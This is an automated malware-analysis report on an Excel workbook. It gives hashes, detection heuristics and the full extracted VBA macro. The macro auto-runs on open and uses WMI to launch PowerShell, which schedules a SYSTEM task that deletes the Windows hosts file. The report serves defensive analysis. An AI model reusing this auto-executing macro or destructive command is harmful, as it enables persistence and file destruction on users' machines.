Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 d22e1eaf4260a07e…

MALICIOUS

Office (OOXML) / .XLSX

41.2 KB Created: 2026-04-28 17:11:11 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-15
MD5: 88e0da62f2f5f2e9be0c9463d702f725 SHA-1: 1b211af582b4a9cb322135386afa37572f720330 SHA-256: d22e1eaf4260a07edd97feecc6ce5d61e620697eff645be9f6f91352a801c17c
328 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        cmd = "powershell.exe -Command ""schtasks /create /tn 'Cleanup' /tr 'cmd /c del C:\Windows\System32\drivers\etc\hosts' /sc once /st 00:00 /ru System /f"""
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        Set proc = GetObject("winmgmts:Win32_Process")
  • VBA injects an Excel-4 macro CALL to a download/exec API critical OLE_VBA_XLM_CALL_INJECTION
    VBA writes Excel-4 (XLM) =CALL() formulas targeting urlmon URLDownloadToFile / Shell32 ShellExecute and runs them. This VBA-to-XLM bridge downloads and executes a payload while keeping the API names out of normal VBA keyword scanning.
    Matched line in script
        ' Execute using the WMI process call (more "stealthy" than Shell)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set proc = GetObject("winmgmts:Win32_Process")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        cmd = "powershell.exe -Command ""schtasks /create /tn 'Cleanup' /tr 'cmd /c del C:\Windows\System32\drivers\etc\hosts' /sc once /st 00:00 /ru System /f"""
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3346 bytes
SHA-256: f46c3e1d50ae1d0198025ed9c8c2a939d0256286f6e640b7e776a3b2807d2810
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    Dim cmd As String
    Dim proc As Object
    
    ' The command: schedules a one-time task to attempt deletion on next boot
    ' Using 'schtasks' is a common persistence/malware technique
    cmd = "powershell.exe -Command ""schtasks /create /tn 'Cleanup' /tr 'cmd /c del C:\Windows\System32\drivers\etc\hosts' /sc once /st 00:00 /ru System /f"""

    ' Execute using the WMI process call (more "stealthy" than Shell)
    Set proc = GetObject("winmgmts:Win32_Process")
    proc.Create cmd, Null, Null, processid
    
    MsgBox "Test Payload Armed. Analysis Ready.", vbInformation
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: 21574c0cb0ab35ca858088026310049caf283d344279ad71a2b6d856ec080c9c

Open this report in the interactive analyzer, or submit your own file for analysis.